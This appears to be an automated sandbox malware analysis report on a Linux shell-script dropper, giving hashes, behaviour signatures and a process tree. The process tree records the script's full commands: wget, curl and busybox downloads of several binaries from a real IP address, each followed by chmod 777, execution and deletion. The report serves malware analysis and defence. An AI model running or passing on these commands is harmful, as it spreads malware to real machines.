Analysis

  • max time kernel
    21s
  • max time network
    47s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21/11/2024, 05:23

General

  • Target

    64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh

  • Size

    10KB

  • MD5

    7d4915a02bbc4a1ae7b70fed6d3293c1

  • SHA1

    b164b6db9f2e8375942f65d81fdbee4d41650560

  • SHA256

    64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926

  • SHA512

    6830a2ff2527d337e1e6b83939662fb92e363729989c13b85ad949521942da0b5acfade63e558e549f074167b1367ba6ae1d980f9217d63cc670c0d53ed0ce28

  • SSDEEP

    192:jrE/uXvn65QyKeioEWfPDt92igPn12igPnA/WXvn65QjeiojPDv:jrE2Xvn6uymWp92igPn12igPnAeXvn61

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 12 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh
    /tmp/64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh
    1⤵
      PID:650
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:652
        • /usr/bin/wget
          wget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
            PID:658
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:673
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
            2⤵
              PID:681
            • /bin/chmod
              chmod 777 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
              2⤵
              • File and Directory Permissions Modification
              PID:744
            • /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
              ./uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
              2⤵
              • Executes dropped EXE
              PID:745
            • /bin/rm
              rm uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
              2⤵
                PID:746
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
                2⤵
                  PID:747
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:756
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
                  2⤵
                    PID:763
                  • /bin/chmod
                    chmod 777 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
                    2⤵
                    • File and Directory Permissions Modification
                    PID:766
                  • /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
                    ./Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
                    2⤵
                    • Executes dropped EXE
                    PID:767
                  • /bin/rm
                    rm Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
                    2⤵
                      PID:768
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
                      2⤵
                        PID:769
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:770
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
                        2⤵
                          PID:771
                        • /bin/chmod
                          chmod 777 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
                          2⤵
                          • File and Directory Permissions Modification
                          PID:772
                        • /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
                          ./eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
                          2⤵
                          • Executes dropped EXE
                          PID:773
                        • /bin/rm
                          rm eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
                          2⤵
                            PID:774
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                            2⤵
                              PID:775
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:776
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                              2⤵
                                PID:777
                              • /bin/chmod
                                chmod 777 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                                2⤵
                                • File and Directory Permissions Modification
                                PID:778
                              • /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                                ./6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                                2⤵
                                • Executes dropped EXE
                                PID:779
                              • /bin/rm
                                rm 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                                2⤵
                                  PID:780
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                                  2⤵
                                    PID:781
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:782
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                                    2⤵
                                      PID:783
                                    • /bin/chmod
                                      chmod 777 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:784
                                    • /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                                      ./WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                                      2⤵
                                      • Executes dropped EXE
                                      PID:785
                                    • /bin/rm
                                      rm WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                                      2⤵
                                        PID:786
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                        2⤵
                                          PID:787
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:788
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                          2⤵
                                            PID:789
                                          • /bin/chmod
                                            chmod 777 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:790
                                          • /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                            ./bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                            2⤵
                                            • Executes dropped EXE
                                            PID:791
                                          • /bin/rm
                                            rm bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                            2⤵
                                              PID:792
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                                              2⤵
                                                PID:793
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                                                2⤵
                                                  PID:794

                                              Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

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                                              Downloads

                                              • /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM

                                                Filesize

                                                153B

                                                MD5

                                                998368d7c95ea4293237f2320546e440

                                                SHA1

                                                30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                SHA256

                                                533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                SHA512

                                                648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97